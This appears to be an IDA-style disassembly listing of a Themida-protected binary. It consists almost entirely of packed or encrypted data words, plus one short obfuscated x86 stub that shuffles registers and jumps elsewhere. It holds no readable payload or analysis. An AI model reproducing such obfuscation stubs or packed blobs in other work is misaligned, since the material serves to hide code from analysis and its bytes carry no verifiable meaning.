aPpgip		db 'Pp£¨P',7,0          ; DATA XREF: Themida_:0056504Ao
		align 10h
		dd 0F4301449h, 480C49Bh, 575375EBh, 0E31F3938h,	2CE8D284h
		dd 0DD851EC1h, 8AD02FEBh, 3E237CB8h, 0F7718E0Ah, 0E807D5D1h
		dd 0DB0952DCh, 9212792h, 2BE7D981h, 16FB613Ch, 67D694Fh
		dd 129B3720h, 0E473550Fh, 0B592B2A9h, 2C3299AFh, 719D01FDh
		dd 0C054D6E2h, 312994EBh, 89AFA9F8h, 4365DF22h,	0C0CB5947h
		dd 64D494EBh, 0CCB4C00Fh, 8D8ADC1Ah, 1A43581Eh,	0B6775E86h
		dd 0A1FC6BF7h, 0EA0581A7h, 0CE7F4C6Ah, 0ABE6717Eh, 13A541B6h
		dd 931C8265h, 0C9BB677h, 73FB2F81h, 66A7AD8Eh, 907F36Ah
		dd 60478A73h, 0F9DF2ED9h, 5E7B649Dh, 0DC78F0E9h, 28CB6573h
		dd 0A0BE674Fh, 6342FE04h, 3AE9505Bh, 68B13h, 754F0C00h
		dd 0C5FB5EB9h, 94AAAEC9h, 6044FF18h, 2D174BA4h,	48D584F1h
		dd 97F02C16h, 0E601FDC7h, 34534F71h, 3C9E1A3Ch,	0A6F012Fh
		dd 66E292DBh, 32C78142h, 8A1D095Fh, 0FCCF6B80h,	12B92251h
		dd 6919FCB3h, 2E761A0h,	0FD9D6E58h, 23B8A61h, 0FF0D983Eh
		dd 94EB154Dh, 6D1F2D00h, 0E094EB15h, 0D42BE27Eh, 0D17EBA9Ch
		dd 6F9EA8B2h, 97ADFE68h, 10A67Dh, 0FCAB0000h, 0EFA9C6ABh
		dd 6D69A013h, 1B575h, 62F06D00h, 6394EBC0h, 830A2C24h
		dd 82CD2292h, 0DC1A3976h, 9DCA548Ah, 6DBB4FEEh,	0EF4874CFh
		dd 0EA745769h, 2812C23h, 91B7AA5Fh, 188243Ah, 0A46046FEh
		dd 0DC2F094Bh, 0B7B40271h, 0D71846FEh, 98D525D6h, 11BC214Fh
		dd 9CD37309h, 20377769h, 0C4B3CF1Ch, 0C05CDEC1h, 5BB510B2h
		dd 0D970A350h, 5A4h, 0A05C68F5h, 0F02C1047h, 3FFC197h
		dd 4F4B6DE4h, 98142E30h, 2931AA6Dh, 0DE7C9B17h,	8ACF28E4h
		dd 5B1D7AB6h, 34DB817Dh, 0DB0B8628h, 657DFB92h,	0AE1C781h
		dd 9648BDB7h, 0C1C66CC3h, 784A106Fh, 640473DCh,	0B9C12ACFh
		dd 4FE10F58h, 294EB85h,	0C31EED1Ch, 0FB46A59Fh,	9E8E5D67h
		dd 7FCCA367h, 0B4AC02C6h, 8A091692h, 515F6D0h, 1E690584h
		dd 111D7D97h, 0B9000000h, 54D6E271h, 2994EBC0h,	0CB5DF831h
		dd 45000000h, 0B7E00271h, 0A28DABAAh, 0A465A8ACh, 0A12E43B3h
		dd 0DC5EF993h, 0C5120C8Ah, 32ED10D6h, 454416ADh, 0FD603FCAh
		dd 0AF5EE0CBh, 77E51050h, 0DBD27336h, 1570DF7Bh, 8E907B4Dh
		dd 3794A8B1h, 0E33CE22Bh, 8D184761h, 24E9CD7Fh,	254D806Dh
		dd 0CBE0C56Dh, 49DCCD69h, 1847AC1Ch, 13E9A70Ch,	1B44DA73h
		dd 26E2C47Ch, 42A98FC9h, 34CA111h, 59C884F5h, 0E674AB79h
		dd 0D7730FDCh, 8C3C07ADh, 0BC974456h, 498h, 0AC685C01h
		dd 0FC380C53h, 0F8BBDA3h, 5B5771F0h, 0E4201A3Ch, 253DA699h
		dd 0D288E723h, 86DB34F0h, 2F294642h, 20CF8D09h,	0DB0C9A14h
		dd 5169EF92h, 0BA3E0271h, 7728391Ch, 6084F9AEh,	0A861FD02h
		dd 14CADh, 2719500h, 36A0BDE2h,	0D3EEF3Ah, 9827B0BDh, 0C64DFF0Dh
		dd 1E0094EBh, 1CAFE1EFh, 0BCA28ADCh, 0F6788413h, 8B6D24FFh
		dd 0D2390354h, 56F9304Ch, 0B01F393Bh, 74B6A6C5h, 8A90DFE1h
		dd 0A41A9327h, 7C9CCBBh, 20727287h, 95A50620h, 0F771B079h
		dd 2857FAD1h, 0C863CF05h, 0A968692h, 3A045827h,	0B70738F1h
		dd 0A81F2DBAh, 0A773132Fh, 0FDCE678h, 0D88D773h, 0A6B16D4Bh
		dd 595074EBh, 0C3280E46h, 82CD2292h, 588A0B76h,	0ADBB4679h
		dd 79989203h, 0CA8FE876h, 840515F6h, 6BCB79E1h,	94568CF9h
		dd 3AE0C47h, 72EB0000h,	263D5A56h, 0D78DEA26h, 9BDA35F1h
		dd 302641BDh, 0B067920Eh, 8D093327h, 22DEE872h,	6CA89CC5h
		dd 0BB775113h, 8C3E4AE1h, 0C192DB0Dh, 0C7816F43h, 591B76E1h
		dd 0A0FF8E7Fh, 0DA2586A0h, 9AF99D61h, 0C32EFDDBh, 9624C35Eh
		dd 3AF30FF1h, 4F4B6DE7h, 96EB1E48h, 4BC67Dh, 71000000h
		dd 0C054D6E2h, 312994EBh, 0FAF747F8h, 92125F6Dh, 32518AC6h
		dd 0AFB3182Eh, 0BDE0F7C0h, 3AF30242h, 1D78E77Bh, 1B850147h
		dd 6D3F028Eh, 70560E8Dh, 0C8EE66B9h, 9BADB3CCh,	1993A14Ch
		dd 6C6D3F02h, 0E1683BF2h, 308h,	0E4D881D1h, 9EB8B807h
		dd 65430562h, 0B4C06FFAh, 94EBC03Ah, 6B05D34Fh,	1E94EBC0h
		dd 127C34D3h, 0A8C4D62Dh, 154F9261h, 676F733h, 0B516302Ah
		dd 0B2CEF066h, 77FFABC5h, 0DA7611CDh, 0DB3FE8Dh, 0B4E17556h
		dd 8C15BB72h, 0E38AC6D2h, 9220AC7Fh, 0D86D3ECAh, 2D396559h
		dd 0D1776BE8h, 48h, 531271FDh, 685B9675h, 0CA55C6A4h, 0C879B0CCh
		dd 0C0EC7B78h, 8AC653A9h, 0E3E579A4h, 8DDA7608h, 0F74CBD1Eh
		dd 76B7438Eh, 7A9B29A7h, 20D16D3Eh, 75EBA65Ch, 10FBCD90h
		dd 119F20Eh, 93650188h,	0E119776Ch, 0C5000000h,	76E1C781h
		dd 178E370Bh, 0A66748BEh, 0ECD688D7h, 0A680C01Fh, 0C1075A39h
		dd 66FB54EAh, 85D8AB62h, 0BF29E5C3h, 94EB6016h,	494563E5h
		dd 1523362Eh, 94EB789Bh, 0F7D470EEh, 6EF9F646h,	0FDDBD4C3h
		dd 8A979169h, 3B90B4ADh, 0D7EAE627h, 0AE8AC64Fh, 85F574B0h
		dd 27D1FF68h, 4A730C8Eh, 0CB1F9307h, 0C658B395h, 28675279h
		dd 0A7BB1032h, 2560EF0Bh, 808F0B3Dh, 83685C05h,	0CB201A3Ch
		dd 1A3C1BB7h, 76B7CB20h, 0E70D372Bh, 50593A61h,	0CDE265B6h
		dd 0CA000001h, 1C7BB791h, 6C8B0739h, 0BDDAD6E8h, 966A2BAh
		dd 46B36F51h, 6E500693h, 3F0955B2h, 89B3A4C3h, 5472F20Dh
		dd 5F6D8258h, 92DB0FADh, 818CA4A0h, 0CC2BE7D9h,	0E976B294h
		dd 0C0BC4E5Ah, 8AD194EBh, 41AF1D7h, 0F1CB8FE8h,	185041Ah
		dd 85D21F6Fh, 0C6EA7277h, 123E0D8Ah, 6D3F2A98h,	91B7AEEDh
		dd 6C88243Ah, 2AA3319Fh, 48E96D3Fh, 0C42C4674h,	0CDD0776Bh
		dd 0F2000000h, 54D6E271h, 2994EBC0h, 8D5E68F2h,	495851EDh
		dd 7FC2290Fh, 0C60AE1DBh, 94EBDC3Fh, 4F264F3Ah,	0D1D74CDCh
		dd 943FB666h, 4647B1DEh, 0E31F393Bh, 5039CC84h,	0B7C6328Ch
		dd 63D03B57h, 6371DE13h, 7539215Eh, 13BE2931h, 3FB96B05h
		dd 89001E6Dh, 8FE454D5h, 7D213440h, 0DA44730Dh,	76480E8Dh
		dd 0C3055DBAh, 598E39B1h, 0A6A97A50h, 0E4h, 609CA8B5h
		dd 0B06C5007h, 0C33F0157h, 0F8BADA4h, 58546EF0h, 69F16A2Dh
		dd 1E3C5B57h, 0CA8FE824h, 9BDD3AF6h, 749B41BDh,	0DB10C668h
		dd 0A5BDBB92h, 0A9D4D981h, 35593111h, 76F8E6E9h, 9794EB50h
		dd 0E10FBDDh, 9511ADADh, 754F0F8Ah, 3ADBB96h, 7694EB50h
		dd 425D4CE8h, 0F4E82402h, 0AE1C781h, 0E3AE5847h, 3699CF94h
		dd 8EA8A8F7h, 95AB1B12h, 128F44C3h, 0D807A30Bh,	0DC21FFCCh
		dd 0BF0C128Ah, 0CAC6E060h, 21073E5Dh, 2A75B4CAh, 11BF0C2Ah
		dd 0E558141Dh, 0C9DDA15Ah, 126DA98Fh, 16484752h, 9543DF2Ch
		dd 1538161Bh, 7754F06Eh, 0BC0F2928h, 0E5C6E661h, 2CFFC196h
		dd 0CDA498DDh, 4C6226DFh, 0F6A53214h, 2454797h,	0CEB9C12Ah
		dd 0BD8A0DA3h, 1D3C9C4Eh, 550980B0h, 0CF1C3A3Ah, 384h
		dd 7A5E7200h, 3E8DC81h,	49A284BCh, 705B6DF2h, 0B417312Dh
		dd 0FCCFF169h, 2487B9A1h, 6DBE9ED9h, 97744A0Eh,	0D8331548h
		dd 71006808h, 2C890000h, 5B636824h, 34890000h, 37A36824h
		dd 14890000h, 2A8BBE24h, 0EE810699h, 1,	23CCE681h, 0C6810308h
		dd 428A44Bh, 4C2F68h, 24248900h, 4240483h, 0BB53565Ah
		dd 698323F5h, 4245C31h,	8428F5Bh, 0F5087281h, 0FF698323h
		dd 835A2434h, 34FF04C4h, 0C4835E24h, 0AE16E904h, 0EBBFFFFAh
		dd 57223AE6h, 0EDABF335h, 0B88E9666h, 630D13Dh,	0E0FFC503h
		dd 1F245A3Eh, 2881FAC9h, 4523699Dh, 134DDD2Dh
		dd 0D2868D8Dh, 6A0630h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9D8B22C3h, 62B01F1h, 0EE18D89h
		dd 0BB66062Bh, 85C710EEh, 62B21E1h, 6924h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 88C35242h, 5459E097h
		dd 3388130Dh, 0D6BA66C1h, 0E585C796h, 62B2Bh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0AB0AC356h, 2A5DB5FFh, 8E0F062Bh,	16h, 11E9h
		dd 85279000h, 0B42BAAC2h, 4A0F0E02h, 0A3D43EBh,	95FF9799h
		dd 62B2731h, 6ADF8B66h,	4595FF00h, 8B062B29h, 3519EBC0h
		dd 3B319EA4h, 2537662Ch, 672D0C3Dh, 210A55A1h, 74F04DD0h
		dd 0EBC69F19h, 0CE8h, 0F7089000h, 84C168BDh, 9F4E8DE6h
		dd 0D19529E5h, 59062B09h, 6890Fh, 85890000h, 62B32CDh
		dd 5A12C181h, 13E90000h, 0BD000000h, 0D78A12C9h, 7475FF9Bh
		dd 0B1867D4Ch, 5A5EE4FCh, 68347Dh, 8B000000h, 2B2ACD9Dh
		dd 95895E06h, 62B1D01h,	0F31048Bh, 685h, 8CF38100h, 815BFAADh
		dd 6A8966E8h, 91BD8B73h, 81062B25h, 0F466CDC0h,	0F5958B42h
		dd 81062B1Eh, 6467E7C0h, 0BF66566Bh, 505B627Ch,	11E9h
		dd 3A5B8B00h, 7DC95E45h, 0DCABF4E1h, 0CE605F12h, 48F254Bh
		dd 5870F31h, 0BB000000h, 4B87FDD5h, 0EDCF8166h,	0EDEE8187h
		dd 0B678AD96h, 0E9C68176h, 8B78AD96h, 2B1EB99Dh, 0B8FE8106h
		dd 0FFFFFA6h, 0FFFF8385h, 0E8F18AFFh, 0Ch, 29C6CDDFh, 39100730h
		dd 9D48B5D0h, 8846BF66h, 0EE959h, 1870000h, 14398CF7h
		dd 7A7E30CAh, 1279DBE1h, 6727C181h, 0F7810000h,	354F7B95h
		dd 0CF5BCCB8h, 0D3C08175h, 898A30BDh, 2B19DD8Dh, 89318B06h
		dd 2B1991BDh, 0E0F68106h, 0F4E347Dh, 683h, 0F5953100h
		dd 81062B0Ch, 0E71DC4F6h, 59BD8B77h, 81062B1Ch,	0A6B6EC6h
		dd 2177BA13h, 31893F03h, 2BE18D29h, 0E983062Bh,	68F0F04h
		dd 8B000000h, 2B210D95h, 1E88106h, 0F000000h, 0FFFFAC85h
		dd 8E8FFh, 0D4CE0000h, 0C705556Ah, 860F31A2h, 6, 2771BD29h
		dd 0E95A062Bh, 29h, 54829FB5h, 9 dup(0)
		dd 54BE900h, 7EDF0000h,	2A314E4Ah, 0DB819E1Ah, 97CE29E5h
		dd 441A75B1h, 847B8602h, 817D471Bh, 0D6D2F466h,	609CA0B9h
		dd 0AF6B4D07h, 0B8325EEDh, 0CD92DB14h, 0C7817357h, 0A3B70AE1h
		dd 0E6F2075Ah, 94EBC044h, 69852139h, 8ABEA3FEh,	405F03h
		dd 0FE76C526h, 0A9ACF3D8h, 73E93497h, 20237E4Dh, 55EEA704h
		dd 1E17FE71h, 0EACC842Ah, 8692212Eh, 94EBC0E4h,	0F9088199h
		dd 47A05C60h, 7EDD2E12h, 5A3139DCh, 226E2019h, 76C17C58h
		dd 570B4F29h, 0E276D16Dh, 146B40DCh, 51AC7F41h,	5F61F708h
		dd 2C01E8C3h, 0F6F4258h, 25F2AC0Dh, 910C0389h, 0CA11FACAh
		dd 0C555B690h, 3C760A9h, 251F405Fh, 43C49DE4h, 0D89251Fh
		dd 775472F2h, 0EB2AC859h, 6C50E194h, 137C2BB6h,	8564D165h
		dd 0BD6903CDh, 21C94EBh, 56620C8Bh, 8D1A7D97h, 0C4000000h
		dd 7E481271h, 51C8DADh,	92B4A643h, 803CC2A5h, 0D77322EAh
		dd 0CC8EFD88h, 82AE8655h, 0FE8F212Fh, 0E75E94EBh, 6754EAC1h
		dd 6D6332FBh, 94EBFEDDh, 4D794DF6h, 7D971821h, 1C5h, 0DA810100h
		dd 0A7BA01EAh, 88074AA1h, 39B3C1D4h, 4C94EBC0h,	2877B6D2h
		dd 0F5B1DC29h, 68C2034Fh, 500483CCh, 27ECBF6Eh,	0E1E77D18h
		dd 8CB5740Ah, 596FF2B8h, 6827B25Dh, 6903CDF7h, 1C94EB21h
		dd 0FC748B02h, 0B01E8DDAh, 9C85F2FAh, 2DB16D9Ch, 78E7D981h
		dd 8801471Dh, 8DB3A6F5h, 9276EF3Eh, 84003A1Ch, 0FCCFE96Bh
		dd 2685BBA1h, 0C1EDD160h, 7D96DFB5h, 6749h, 0D9819500h
		dd 0A3B904E7h, 6DF34E9Dh, 342D705Bh, 7BF0BB10h,	3831E087h
		dd 0D6E86E44h, 0A3A5BDDAh, 0D4860548h, 6DE43BF2h, 9FA6604Bh
		dd 0E0037FABh, 56BB7D96h, 27000000h, 0EE1A0271h, 62CDF768h
		dd 33FA594Bh, 7B506AECh, 0A2093324h, 0E6C5FF5Fh, 2982C69Bh
		dd 70F7CB64h, 0D0D6AA83h, 0F779878Eh, 8A94EB43h, 18BC7894h
		dd 1EADA81h, 0EBC03ECBh, 0DDB81794h, 0D76B4084h, 2D592DD6h
		dd 7D96DA41h, 6A5C009Fh, 7B30F981h, 1, 26DB8167h, 60BF0C32h
		dd 5FE3C8FAh, 0F944A7C3h, 0AC5E6A7Fh, 0CD94EBC0h, 0EBC00DBFh
		dd 1DDE4094h, 1A0AE17Dh, 0D58B1FE3h, 0C63637F3h, 0F0D9527Ah
		dd 0EB2D4AE4h, 54233F94h, 39F7606h, 144A49D4h, 4841D932h
		dd 0C6964D48h, 0DDE408Ah, 0C9C4B35Eh, 6BEA67C5h, 57B33D2Bh
		dd 58C66D3Eh, 30164E51h, 0FFD99BF4h, 5710A02Ch,	0F0756D3Eh
		dd 88AEA60Ch, 5771F30Ch, 92F2974h, 6E0FD3DEh, 2710272Fh
		dd 5522FB71h, 0AC8B531Ah, 881B92B4h, 0B1671239h, 33A0B139h
		dd 7B4FF831h, 0B092C8C7h, 0BBC6C75Bh, 0F4639FB9h, 30F9DF99h
		dd 6C82DD89h, 15B8177h,	6F4D0000h, 7785D21Fh, 8AC6DE72h
		dd 93BE0D0Dh, 3E76F804h, 240B6D3Fh, 3F3E9618h, 0DB77EB6Dh
		dd 8095CFD2h, 3F3EFA74h, 77938F6Dh, 0C2E45CBBh,	322762E9h
		dd 59B28ACDh, 2E3AA5C1h, 6D3F3E9Ch, 61A069F1h, 97EAC1E7h
		dd 0D12CFFC1h, 0A751BA8Ah, 4427CABEh, 0CD872B1Fh, 3E22CCD8h
		dd 0CB576D3Fh, 26C73AFh, 0BA776BD8h, 38h, 0D3206F24h, 0C49AF984h
		dd 98112982h, 0EBC016F8h, 0D4372B14h, 2CDEEA79h, 2114EBC0h
		dd 2EC0F039h, 814EBC0h,	8770DF1h, 0BE507CEBh, 0D394EBC0h
		dd 0BAC0534Fh, 0B6000000h, 7E481271h, 0C12E9E8Fh, 0CB8C0B96h
		dd 29371AF1h, 94EBC087h, 0C1C864FAh, 0C6DBF2CFh, 0AE7D1D8Ah
		dd 0FB371153h, 2982A49Ch, 3F2414A3h, 0B1EC736Dh, 0EF1891B7h
		dd 0FBDD971Bh, 72BE0E3Fh, 11BEDAECh, 0C798F782h, 46102EFDh
		dd 6D3F3AA4h, 0EADC82D9h, 2CDD7901h, 8D626A4h, 0ACB84773h
		dd 674FE602h, 4322EB77h, 42410CDFh, 0A0FF2E18h,	2A5986A0h
		dd 0DA5B8911h, 73E44397h, 2DDC6249h, 6A5E035Eh,	13263A81h
		dd 4F0B6B05h, 0E4001E67h, 12F60F07h, 0BAE406Ch,	0BFA3674Fh
		dd 9074E923h, 0E06F84F4h, 78E776D4h, 6FD41B79h,	0F10BC533h
		dd 232CE804h, 0CB810574h, 22EB6C72h, 590271A4h,	28F2135Fh
		dd 1161921Bh, 0E76573DCh, 6A8ADC7Ch, 5D3817F4h,	51E9C21Ah
		dd 0EA0F4958h, 377A5177h, 0C2BCB2D6h, 9B375375h, 0F708514Ch
		dd 0CAC35F61h, 5F79FB14h, 0D203408Ch, 0B243E92h, 0D7F17337h
		dd 0A284BCDBh, 3D035635h, 671239CCh, 9DFE48F0h,	280C47B5h
		dd 0EA23BFC3h, 13F8DC97h, 0A208FC61h, 0EF0884A2h, 0D1785375h
		dd 12h,	30144F4Ah, 1271DDF9h, 8F93784Eh, 139AACB0h, 0DC81F7D3h
		dd 84BC03E8h, 6DF249A2h, 312D705Bh, 0F169B417h,	0B9A1FCCFh
		dd 9ED92487h, 4A0E6DBEh, 15489774h, 5008D833h, 405E089h
		dd 83000000h, 48704E8h,	34895C24h, 686C6824h, 1C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 0A0274F9h
		push	esi
		mov	esi, 79DC6F60h
		or	ebp, esi
		pop	esi
		xor	ebp, 7DEEABA7h
		mov	ebx, ebp
		pop	ebp
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	edi
		mov	edi, ebx
		mov	esi, edi
		pop	edi
		mov	[edi+8], esi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_544660
; ---------------------------------------------------------------------------
		db 4Ah,	0EEh, 58h
		dd 0D93BB8D2h, 0C5030630h, 0E99DE0FFh, 5DAD5750h, 200077E6h
		dd 90A96F6Fh, 9F0B33B9h, 0B71568Ch, 0AE61E59h, 7B506852h
		dd 40692AF0h, 16C21072h, 19262605h, 7D961CF3h, 754E5D10h
		dd 51323BA8h, 0D25D6E37h, 0E0D078CDh, 80293E9Eh, 3E2A50D0h
		dd 6715064h, 1BF76031h,	42FC4F52h, 0DF720950h, 551A595Ah
		dd 5420265h, 54EB393Ah,	0A1BB2216h, 7FE95544h, 83000001h
		dd 724347h, 0EC870268h,	8F4FFE4Ch, 24082358h, 77512856h
		dd 54082B56h, 7C512058h, 7F380B71h, 0F4515924h,	12D3A270h
		dd 0A39FA6C4h, 98501EB6h, 28516F14h, 1,	4000000h, 2 dup(0)
		dd 2F000000h, 0
		dd 8000000h, 0
		dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h
		dd 45h dup(0)
		dd 0A4E90000h, 68000016h, 630DD88h, 0FB7452E9h,	0DE7068FFh
		dd 48E90630h, 68FFFB74h, 630DF4Fh, 0FB743EE9h, 0E03668FFh
		dd 34E90630h, 68FFFB74h, 630E22Eh, 0FB742AE9h, 0E3B568FFh
		dd 20E90630h, 68FFFB74h, 630E467h, 0FB7416E9h, 0E50968FFh
		dd 0CE90630h, 68FFFB74h, 630E700h, 0FB7402E9h, 0E7D468FFh
		dd 0F8E90630h, 68FFFB73h, 630E898h, 0FB73EEE9h,	0E94968FFh
		dd 0E4E90630h, 68FFFB73h, 630EAE2h, 0FB73DAE9h,	0F00C68FFh
		dd 0D0E90630h, 68FFFB73h, 630F101h, 0FB73C6E9h,	0F74602FFh
		dd 0AE155E33h, 80EDB74Ah, 79CA896Ch, 57A2E085h,	6D1B30D3h
		dd 0BB5ED227h, 9E73B7F8h, 0EB8E62D9h, 0AAA65AABh, 0D3A0EF83h
		dd 0E2BD91EBh, 8B2D74D1h, 76F867C8h, 24DD55C2h,	7B93F5F1h
		dd 208312C9h, 195B7B3Bh, 33A72BD4h, 3982CD0Ah, 0F66908BEh
		dd 1C106121h, 89F6BCADh, 9497DB0Fh, 0C7DED5ACh,	7E342554h
		dd 97DB0F31h, 9EE1242Ch, 552CA25Dh, 9C41E94h, 9319DE6h
		dd 0B8E49D8Eh, 0AF7B5C12h, 0C209750Ch, 0BE91F0FAh, 0BF0A488Dh
		dd 18F78E00h, 327DDA0Ah, 0BA8CA8C9h, 771A753h, 38h, 47B4F156h
		dd 0C225EF3Eh, 4CCB3678h, 4B2756DAh, 9DE62699h,	2CD5C48Ch
		dd 0B8BD3DC7h, 2695D2DBh, 0F48D31B9h, 0D7DE0D7Dh, 67A291F0h
		dd 3B64D6BFh, 0AEB171A7h, 0EE000000h, 75077B3Bh, 66F34D54h
		dd 0CD3273D6h, 3B79DE59h, 0C88851CEh, 535F7079h, 97DB5BE4h
		dd 312071F9h, 0A559A8E8h, 0DB60F969h, 0AE175F97h, 86EFB74Ah
		dd 6E371419h, 32A61150h, 0B9740D85h, 0EE84B526h, 9DE6733Ch
		dd 0CCFD3139h, 4B43C753h, 0FB9AD803h, 1B029D00h, 19622DEAh
		dd 445C3A78h, 0B9A19BCEh, 0B80D4BB0h, 96E3A144h, 0B08BA4D9h
		dd 0DCA8978Ah, 1423h, 6286F7B3h, 8579C68Fh, 0DF539EE0h
		dd 0F4087B3Ah, 2E65311h, 0D89EEC61h, 0A9F4896Dh, 8ACFA246h
		dd 5C24F93Dh, 54151115h, 0EBD2115Eh, 130C91h, 0F4087D3Bh
		dd 0CE05111h, 29C225DFh, 34630F20h, 2997DB0Fh, 36F5021h
		dd 9DE62651h, 0FCED1C44h, 0F01949B6h, 95EC5491h, 197FACDAh
		dd 0EA0391F0h, 0B48622Dh, 4A8F08BCh, 8A3CBB0Ah,	0F2A07F06h
		dd 0A6789FE9h, 3578DD71h, 0A99DABCAh, 0B2000000h, 8D0A7B3Bh
		dd 3CBB0E54h, 0DB34C272h, 0D51C6497h, 8DF4BC51h, 53CCD312h
		dd 2786442Ah, 8E839DE6h, 2ACE72C9h, 0D4C55649h,	0CED331DEh
		dd 84E8B9Bh, 650902BDh,	97DDAC3Ah, 0F68F3327h, 18472B92h
		dd 597DDACh, 5BA0A95Dh,	64A1A81Dh, 0A52DAA1Dh, 3D7B1EDCh
		dd 7B7AC3C5h, 7DE15D56h, 0B075C9F2h, 0E18FCA8Ah, 133Bh
		dd 7ABE0F4Bh, 9D91DEA7h, 0B74BB6F8h, 0CC2093D2h, 1A1E6B29h
		dd 0F0B6D409h, 0C18C6185h, 0A2E7BA7Eh, 743CD155h, 4C7DE90Dh
		dd 0EBD1F926h, 0F82BE491h, 0F4087D3Bh, 0F9E05111h, 72ED541Ch
		dd 8AD1A5FCh, 185B7B3Bh, 32A628D7h, 28145C85h, 0A453A4E3h
		dd 0F194622h, 5C0497DBh, 0EFB154A8h, 33181582h,	1E900F70h
		dd 63D29287h, 9AD93E8Fh, 706B4829h, 0B2034388h,	39F48D05h
		dd 6E0435A6h, 9DE65A48h, 0D4952D15h, 57C02D77h,	0C976C582h
		dd 7EC4DD41h, 8A6A6B2Ch, 42832184h, 6BDEA422h, 0DCFB7AECh
		dd 6753238h, 0F96D1199h, 65E8A2F0h, 65ED6C47h, 0D2C0F1FAh
		dd 60516265h, 0EAA1F078h, 3D7178F3h, 6A60E6D5h,	20515800h
		dd 4B2A9BDBh, 7BBF064Eh, 0D897DEA6h, 7C4F45B9h,	5CF1BFBAh
		dd 74000012h, 4025D930h, 997CB0FFh, 0F3966AD7h,	0CAAF43B4h
		dd 2EC5398Ch, 0A4115735h, 99E2AD40h, 74C38065h,	2C95DDB0h
		dd 16D5CC8h, 91EBD0D6h,	3BC1D0CBh, 4A8D0A7Bh, 0DDD1D853h
		dd 9DE636BFh, 64B641Dh,	35B99601h, 52636A8Ch, 1978C793h
		dd 56679BCFh, 931E4925h, 5F0391F0h, 0A0115146h,	14388B9h
		dd 0E38F03BCh, 91F093B4h, 0A8A11046h, 345AFB75h, 0F1FA750Ch
		dd 99F84F14h, 7960FBE2h, 0C3909535h, 1C6F79Bh, 49B6F23Fh
		dd 5497C0A4h, 0F3395ECh, 0B617651Eh, 0DD96EAFFh, 4FC83778h
		dd 0CC09BADBh, 24F93D84h, 7F40185Ch, 211568D4h,	0DCC302BDh
		dd 94545A43h, 0D19DF37Fh, 0DB9B6069h, 3627966Ah, 0F04B0F78h
		dd 0EB2E1291h, 5C3958ADh, 0F332AD14h, 244A73ECh, 9BCD6846h
		dd 7B10DF83h, 7C8AAAAFh, 1175B3C1h, 490D0000h, 18593CF0h
		dd 0F0B257ABh, 0CD94698Dh, 0A5E3867Ah, 1E37DC50h, 5BDF2A68h
		dd 7CB0FB46h, 8B6FDC99h, 0A347AEF6h, 0BFE886A7h, 0A291EBEFh
		dd 7D3BBEE9h, 2EBF6805h, 1EF3FC0Ah, 8165E954h, 4970EBF2h
		dd 1C4B2758h, 197DB67h,	67E22D59h, 4BFF97DBh, 0FB64CF96h
		dd 0F1BD2E77h, 9DE62D13h, 1CC572E6h, 8DF4BC54h,	14E89C12h
		dd 0B1FEB4A5h, 0AC91F052h, 7838DDA4h, 0A8179B8Ch, 0B591F052h
		dd 52B6E18Dh, 0A7AB91F0h, 3C190A33h, 36610D74h,	2B91F052h
		dd 20E35E27h, 0CE3473BDh, 0C5E4FC1Ch, 99068A0Dh, 367C6D11h
		dd 9BCD963Ch, 0A4135049h, 509BE63Bh, 3F1335ACh,	28E3ADABh
		dd 33EE3BA4h, 0C92D7563h, 397A3370h, 5CC54DCAh,	0CF765B89h
		dd 2F5D7175h, 0C226AABDh, 0C3DAE31h, 5F753E1Bh,	0BF33AC19h
		dd 4E046A0Bh, 0DC9DE6FAh, 52CD3A7Fh, 0FF63C5DCh, 6ED79F40h
		dd 515D4E7Fh, 91F085E6h, 0CC3B77FBh, 0D191F085h, 0CB590869h
		dd 0D41D65A2h, 2A20F2CDh, 3138B3h, 855483EFh, 14991F0h
		dd 0F0853A65h, 8C3E2791h, 0DEC1348Eh, 4A7B1A8Eh, 0CD896E24h
		dd 53D79B9Bh, 9E8FF6BEh, 0F6D6016Dh, 87CB97DBh,	0D43743FEh
		dd 0DA97DBC6h, 612117FFh, 0BAF8E910h, 97DBE64Dh, 0AD89E850h
		dd 0BE3988C8h, 0DECF6047h, 89F6BCADh, 9497DBE6h, 0E61A4529h
		dd 530797DBh, 0C5286AAFh, 0D5D076BCh, 0A5AD9DE6h, 0A0EF83B4h
		dd 0BD91F0EAh, 430EECB5h, 0FA00773h, 5681ED1Eh,	2C91F0EAh
		dd 0F0EA1946h, 4A5C0491h, 204E7F06h, 9BC304B0h,	0F025BDA5h
		dd 0AED847B2h, 97C0307Dh, 5059D2D5h, 0F3DE7242h, 483E279Dh
		dd 28A7F078h, 488DBC20h, 9FB0B908h, 0F05CA413h,	0E0B1B991h
		dd 0C62F770Ah, 0F2C28059h, 79E64B15h, 5C4AB5F1h, 0B25791F0h
		dd 911986F5h, 0E3CE79EDh, 0D490D5A9h, 0F7D1B69h, 51150000h
		dd 206104F8h, 0F8BA5FD3h, 0D59C71B5h, 0ADEB8E62h, 16CFA458h
		dd 23C73270h, 44B8034Eh, 9397E4A1h, 0AB4FB6FEh,	0B7E08EBFh
		dd 0AA91EBEDh, 2AEFA6F1h, 0EB9F186Bh, 9A057036h, 0CA888D14h
		dd 9EE6BB7Fh, 2F77A857h, 0FE02F43h, 75FD97DBh, 5E3956C1h
		dd 0B10040B4h, 6285F77Dh, 93506B7Bh, 0F000001h,	1B6A2AEFh
		dd 6CD59D7Ah, 9A662EF3h, 0DB0FAB14h, 1E82B697h,	4486191Ah
		dd 0CA0F88FFh, 35BD3A89h, 86EC1D81h, 9DE6094Ch,	4388B1B9h
		dd 6FE2B304h, 0F00EC803h, 52B7B491h, 0FFD2A312h, 5FFC4E17h
		dd 0C57E71A6h, 133B5883h, 0B168773h, 5245ADACh,	9C4337AEh
		dd 0E5C35207h, 5C8C9Ch,	4C10000h, 0DB4FC83Fh, 0C2256BBAh
		dd 960F2029h, 98E4E12Ch, 0C2207124h, 9DE66110h,	91DAA562h
